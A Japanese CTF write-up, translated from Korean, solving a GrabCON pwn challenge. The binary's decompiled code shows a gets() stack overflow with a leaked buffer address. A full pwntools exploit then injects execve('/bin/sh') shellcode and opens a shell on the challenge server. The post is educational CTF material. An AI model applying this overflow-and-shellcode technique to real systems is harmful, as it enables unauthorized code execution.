2021-09-09 · 1

GrabCON CTF — Pwn write-up

securityctf

この記事は公開から2年以上経過しています。

GrabCON CTF


最後の問題です。

CODE

IDA で開くと main が存在しません。start から探していきます。

void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
  int v2; // esi
  int v3; // [esp-4h] [ebp-4h] BYREF
  char *retaddr; // [esp+0h] [ebp+0h] BYREF

  v2 = v3;
  v3 = a1;
  __libc_start_main(sub_1357, v2, &retaddr, sub_13B0, sub_1420, a2, &v3);
  __halt();
}
int __cdecl sub_1357(int a1)
{
  setvbuf(stdout, &dword_0 + 2, 0, 0);
  sub_12BA(&a1);
  sub_130D();
  return 0;
}

見つけました!!sub_1357 が main 関数のようです。

char *sub_130D()
{
  char s[294]; // [esp+Eh] [ebp-12Ah] BYREF

  printf("eat some %p!\n", s);
  return gets(s);
}

NX bit がかかっていませんね?最後の問題以外は全部簡単なようです。PIE はかかっていますが、NX bit が切れていれば shellcode を使えばよいです。上の sub_103D で脆弱性が発生します。コードは以下のとおりです。

ソースコード

もっと見る

from pwn import *

p = remote("35.246.42.94", 1337)
e = ELF("./pwn2")

p.recvuntil('some ')
buffer = int(p.recvline()[:10], 16)
log.info(f"buffer : {hex(buffer)}")

offset = 302
shellcode = b'\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'

payload = b''
payload += shellcode
payload += b'A'*(277)
payload += p32(buffer)

pause()
p.send(payload)
p.interactive()

NX bit がかかっていなければタダの問題ですよね〜

[ハッキング/システムハッキング] - [システムハッキング] Buffer Overflow (BOF)

[[システムハッキング] Buffer Overflow (BOF)

BUFFER OVERFLOW BOF 設定されているバッファのサイズより大きく入力を受け取れるときに生じる脆弱性です。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..

— nabomhalang.tistory.com


原文(韓国語): tistory — 2021-09-09 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。

コメント

コメントを削除しますか?

関連記事

GrabCON CTF — Pwn write-up · 나봄하랑